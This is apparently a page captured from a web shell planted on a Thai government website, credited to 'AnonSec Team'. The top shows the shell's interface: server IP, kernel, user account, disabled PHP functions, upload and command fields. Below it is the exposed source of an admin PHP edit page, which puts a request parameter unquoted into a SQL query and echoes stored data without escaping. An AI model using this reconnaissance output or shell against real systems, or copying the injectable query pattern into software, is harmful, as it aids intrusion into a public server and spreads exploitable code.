NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.144.176.149
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/data//dataother-edit.php
<?php  
    require_once('session_backend_administrator.php');
    header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){
        $check_iddata = $con_db_administrator->real_escape_string($_GET['id']);
        $check_namedata = $con_db_administrator->real_escape_string($_GET['name']);
        if($check_iddata=="" or $check_namedata==""){
            echo "<SCRIPT type='text/javascript'>
                    alert('ไม่พบข้อมูลที่ต้องการแก้ไข');
                    window.location.replace('../index');
                </SCRIPT>";
            exit;
        }else{
                $sql_data = "   SELECT * , CONCAT( DAY(str_to_date(`lastupdate_dataother`,'%d/%m/%Y')) ,'/',  MONTH(str_to_date(`lastupdate_dataother`,'%d/%m/%Y')) ,'/', YEAR(str_to_date(`lastupdate_dataother`,'%d/%m/%Y'))+543 ) AS 'cv_lastupdate_dataother'
                                FROM `data_dataother` WHERE `id_dataother`=$check_iddata ";
                $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));
                $rs_data = mysqli_fetch_array($qr_data);

                $id_data = $rs_data["id_dataother"];
                $stt_data = $rs_data["stt_dataother"];
                $link = $rs_data["href_dataother"];

                $sql_cpwimg = "SELECT COUNT(*) FROM `data_filedoc_dataother` WHERE `id_tbdata_filedoc_dataother`='$id_data' ";
                $qr_cpwimg = mysqli_query($con_db_administrator, $sql_cpwimg) or trigger_error("SQL", E_USER_ERROR);
                $rs_cpwimg = mysqli_fetch_row($qr_cpwimg);
        }

    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4">
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / <a href="dataother?view=<?php echo $id_data; ?>" class="link-info"><?php echo $rs_data["name_dataother"];?></a> / แก้ไขข้อมูล <?php echo $rs_data["name_dataother"];?></div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto " >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto text-center">
                    <span class="lh-sm h1 fw-700">แก้ไขข้อมูล <br class="showTab"><?php echo $rs_data["name_dataother"];?></span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-3 mb-4 p-2">
                <div class="col box-data p-4">
                    <form action="action/save-dataother-edit" name='form_dataother_Edit' id='form_dataother_Edit' method="post" enctype="multipart/form-data">
                        <input type="hidden" name="edt_id" value="<?php echo $rs_data["id_dataother"];?>" readonly>
                        <input type="hidden" name="edt_name" value="<?php echo $rs_data["name_dataother"];?>" readonly>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">ประเภทข้อมูล</label>
                            <div class="col-lg-10">
                                <input type="email" class="form-control" value="<?php echo $rs_data["name_dataother"];?>" disabled readonly>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">รายละเอียด</label>
                            <div class="col-lg-10">
                                <textarea id="editor" class="editor" name="edt_data" >
                                    <?php echo $rs_data['page_dataother']; ?>
                                </textarea>
                            </div>
                        </div>
                        <?php if($rs_cpwimg[0]>=1){ ?>
                            <div class="row mb-4">
                                <label class="col-lg-2 col-form-label fw-700 txtbox-align">ตัวอย่างรูปภาพ</label>
                                <div class="col-lg-10">
                                    <?php
                                        $sql_pwimg = "SELECT * FROM `data_filedoc_dataother` WHERE `id_tbdata_filedoc_dataother`='$id_data' ";
                                        $qr_pwimg = mysqli_query($con_db_administrator,$sql_pwimg) or die( mysqli_error($con_db_administrator));
                                        if($rs_cpwimg[0]==1){
                                            while($rs_pwimg = mysqli_fetch_array($qr_pwimg)){
                                                echo '<div class="w-100 text-center bg-white border"><img src="../../'.$rs_pwimg['path_filedoc_dataother'].'" class="img-fluid mh_1pic"></div>';
                                            }
                                        }else if($rs_cpwimg[0]>1){
                                            echo '<div id="slideAB" class="carousel slide carousel-dark bg-white border" data-bs-ride="carousel">
                                                    <div class="carousel-inner">';
                                            $c_row=0;
                                            while($rs_pwimg = mysqli_fetch_array($qr_pwimg)){ $c_row++;
                                                    if($c_row==1){
                                                        echo '<div class="carousel-item active text-center animated fadeIn" data-bs-interval="2000"> 
                                                                    <img src="../../'.$rs_pwimg['path_filedoc_dataother'].'" class="img-fluid mh_pic">
                                                            </div>';
                                                    }else{
                                                        echo '<div class="carousel-item text-center animated fadeIn" data-bs-interval="2000"> 
                                                                    <img src="../../'.$rs_pwimg['path_filedoc_dataother'].'" class="img-fluid mh_pic">
                                                            </div>';
                                                    }
                                            }
                                            echo '  </div>
                                                        <button class="carousel-control-prev" type="button" data-bs-target="#slideAB" data-bs-slide="prev">
                                                            <span class="carousel-control-prev-icon" aria-hidden="true"></span>
                                                            <span class="visually-hidden">Previous</span>
                                                        </button>
                                                        <button class="carousel-control-next" type="button" data-bs-target="#slideAB" data-bs-slide="next">
                                                            <span class="carousel-control-next-icon" aria-hidden="true"></span>
                                                            <span class="visually-hidden">Next</span>
                                                        </button>
                                                    </div>';
                                        };
                                    ?>
                                </div>
                            </div>
                            <hr class="hr-das mb-4">
                        <?php } ?>
                        <div class="row mb-4">
                            <label class="col-2 col-form-label fw-700 txtbox-align">สถานะ</label>
                            <div class="col-10">
                                <select class="form-select w-selec" name="statusshow">
                                    <option value="0" <?php if($stt_data=="0"){ echo "selected"; }?>>แสดง</option>
                                    <option value="1" <?php if($stt_data=="1"){ echo "selected"; }?>>ไม่แสดง</option>
                                </select>
                            </div>
                        </div>
                        <hr class="hr-das mb-3">
                        <div class="text-center">
                            <button type="submit" class="btn btn-success"><i class="fas fa-save me-2" ></i> บันทึกการแก้ไข</button>
                            <button type="button" onclick="location.href='dataother?view=<?php echo $id_data; ?>';" class="btn btn-danger ms-2">ย้อนกลับ</button>
                            <br><span class="fs-12 text-secondary fs-20 fw-300 ">แก้ไขล่าสุด : <?php echo $rs_data["cv_lastupdate_dataother"];?></span>
                        </div>
                    </form>

                </div>
                <div class="w-100"></div>
                <div class="col mx-auto box-data p-4 mt-4" >
                        <div class="fs-30 fw-700 text-center">อัพโหลดรูปภาพ <?php echo $rs_data["name_dataother"];?></div>
                        <div class="row mt-3">
                            <label class="col-auto col-form-label fw-700 txtbox-align">เพิ่มไฟล์รูปภาพ</label>
                            <div class="col">
                                <form action="action/save-addfiledoc-dataother" name='form_dtot' id='form_dtot' method="post" enctype="multipart/form-data">
                                    <input type="hidden" name="id_data_filedoc" value="<?php echo $id_data; ?>" readonly>
                                    <div class="input-group mt-1">
                                        <input type="file" class="form-control" id="uploadFile" name="uploadFile[]" aria-label="Upload" accept="image/png, image/gif, image/jpeg"  multiple required>
                                        <button type="submit" class="btn btn-primary" ><i class="fas fa-cloud-download-alt"></i> อัพโหลด</button>
                                    </div>
                                    <div class="mt-2 lh-base fs-14 text-secondary fw-300">
                                        - อัพโหลดรูปภาพ หากมีหลายรูปภาพ จะเป็นสไลด์รูปภาพในหน้าข้อมูล
                                        <br>- ถ้ามีรูปภาพเพียงรูปเดียว จะเป็นแสดงภาพสูงสุดที่ 600px
                                                <br>- ถ้ามีรูปภาพหลายรูป จะเป็นภาพสไลด์ ตอนแสดงผล จะกำหนดไว้สูงสุดที่ 500px
                                    </div>
                                </form>
                            </div>
                        </div>
                        <hr class="hr-das mt-3 mb-3">
                        <?php
                                $sql_cfiledoc = "SELECT COUNT(*) FROM `data_filedoc_dataother` WHERE `id_tbdata_filedoc_dataother`='$id_data' ";
                                $qr_cfiledoc = mysqli_query($con_db_administrator, $sql_cfiledoc) or trigger_error("SQL", E_USER_ERROR);
                                $rs_cfiledoc = mysqli_fetch_row($qr_cfiledoc);

                                $sql_data_filedoc = "SELECT * FROM `data_filedoc_dataother` WHERE `id_tbdata_filedoc_dataother`='$id_data' ";
                                $qr_data_filedoc = mysqli_query($con_db_administrator,$sql_data_filedoc) or die( mysqli_error($con_db_administrator));
                        ?>
                        <div class="w-100 overflow-x-auto">
                            <table class="table table-sm table-striped table-bordered table-hover mt-2 mb-2 tball-mw">
                                <thead >
                                    <tr class="text-center table-secondary fs-16">
                                        <th style="width:94%">ไฟล์รูปภาพ <?php echo $rs_cfiledoc[0]; ?> รายการ</th>
                                        <th style="width:6%">ลบ</th>
                                    </tr>
                                </thead>
                                <tbody class="table-group-divider fs-16">
                                        <?php while($rs_data_filedoc = mysqli_fetch_array($qr_data_filedoc)){ ?>
                                        <tr>
                                            <td><a href="<?php echo "../../".$rs_data_filedoc['path_filedoc_dataother'];?>" target="_blank" class="link-danger"><i class="fas fa-file-image" ></i> <?php echo $rs_data_filedoc['name_filedoc_dataother'];?></a></td>
                                            <td class="text-center fs-16" >
                                                <a href="action/del-filedoc-dataother?id=<?php echo $rs_data_filedoc['id_filedoc_dataother'];?>&path=<?php echo $rs_data_filedoc['path_filedoc_dataother'];?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ลบข้อมูล" onclick="return confirm('ต้องการลบข้อมูล ใช่หรือไม่?');" ><i class="fas fa-trash-alt" ></i></a> 
                                            </td>
                                        </tr>
                                        
                                        <?php } ?>
                                    <?php 
                                        if($rs_cfiledoc[0]=="0"){ echo '<tr><td colspan="7"><div class="w-100 text-center mt-3 mb-3 text-secondary opacity-50 fs-16" ><i class="fas fa-eye-slash"></i>ไม่พบไฟล์รูปภาพ</div></td></tr>';}
                                    ?>

                                </tbody>                            
                            </table>
                        </div>
                </div>
            </div>

            <?php  include_once ("../footer.php"); ?>
            <style>
                .ck-editor__editable {
                    min-height: 250px;
                }
            </style>
            <script>
                $('#uploadFile').change(function(){
                    if(this.files.length>10){
                        alert('อัพโหลดได้สูงสุดทีละ 10 ไฟล์ สามารถอัพโหลดเพิ่มภายหลังได้');
                        $("#uploadFile").val(null);
                        return false;
                    }
                });
                $('body').on('dragstart drop', function(e){
                    e.preventDefault();
                    return false;
                });
            </script>
            <script>
                    ClassicEditor
                    .create( document.querySelector( '#editor' ), {
                        mediaEmbed: {
                            previewsInData: true
                        }
                    } )
                    .then( editor => {
                        window.editor = editor;
                    } )
                    .catch( error => {
                        console.error( error );
                    } );
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team